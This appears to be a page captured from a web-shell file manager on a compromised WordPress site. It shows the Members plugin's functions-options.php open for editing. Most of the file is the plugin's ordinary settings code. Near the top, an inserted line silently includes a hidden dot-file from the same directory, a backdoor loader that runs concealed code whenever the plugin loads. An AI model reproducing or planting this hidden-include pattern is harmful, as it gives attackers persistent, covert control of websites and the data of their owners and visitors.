📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 07:52:23
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
members
/
inc
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/members/inc
🔄 Refresh
✏️
Editing: functions-options.php
Writable
<?php /** * Functions for handling plugin options. * * @package Members * @subpackage Includes * @author Justin Tadlock <justintadlock@gmail.com> * @copyright Copyright (c) 2009 - 2018, Justin Tadlock * @link https://themehybrid.com/plugins/members * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html */ /** * Conditional check to see if the role manager is enabled. * * @since 1.0.0 * @access public * @return bool */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function members_role_manager_enabled() { return apply_filters( 'members_role_manager_enabled', members_get_setting( 'role_manager' ) ); } /** * Conditional check to see if denied capabilities should overrule granted capabilities when * a user has multiple roles with conflicting cap definitions. * * @since 1.0.0 * @access public * @return bool */ function members_explicitly_deny_caps() { return apply_filters( 'members_explicitly_deny_caps', members_get_setting( 'explicit_denied_caps' ) ); } /** * Whether to show human-readable caps. * * @since 2.0.0 * @access public * @return bool */ function members_show_human_caps() { return apply_filters( 'members_show_human_caps', members_get_setting( 'show_human_caps' ) ); } /** * Conditional check to see if the role manager is enabled. * * @since 1.0.0 * @access public * @return bool */ function members_multiple_user_roles_enabled() { return apply_filters( 'members_multiple_roles_enabled', members_get_setting( 'multi_roles' ) ); } /** * Conditional check to see if content permissions are enabled. * * @since 1.0.0 * @access public * @return bool */ function members_content_permissions_enabled() { return apply_filters( 'members_content_permissions_enabled', members_get_setting( 'content_permissions' ) ); } /** * Conditional check to see if login widget is enabled. * * @since 1.0.0 * @access public * @return bool */ function members_login_widget_enabled() { return apply_filters( 'members_login_widget_enabled', true ); } /** * Conditional check to see if users widget is enabled. * * @since 1.0.0 * @access public * @return bool */ function members_users_widget_enabled() { return apply_filters( 'members_users_widget_enabled', true ); } /** * Gets a setting from from the plugin settings in the database. * * @since 0.2.0 * @access public * @return mixed */ function members_get_setting( $option = '' ) { $defaults = members_get_default_settings(); $settings = wp_parse_args( get_option( 'members_settings', $defaults ), $defaults ); return isset( $settings[ $option ] ) ? $settings[ $option ] : false; } /** * Returns an array of the default plugin settings. * * @since 0.2.0 * @access public * @return array */ function members_get_default_settings() { return array( // @since 0.1.0 'role_manager' => 1, 'content_permissions' => 1, 'private_blog' => 0, // @since 0.2.0 'private_feed' => 0, 'content_permissions_error' => esc_html__( 'Sorry, but you do not have permission to view this content.', 'members' ), 'private_feed_error' => esc_html__( 'You must be logged into the site to view this content.', 'members' ), // @since 1.0.0 'explicit_denied_caps' => true, 'multi_roles' => true, // @since 2.0.0 'show_human_caps' => true, 'private_rest_api' => false, ); }
💾 Save Changes
❌ Cancel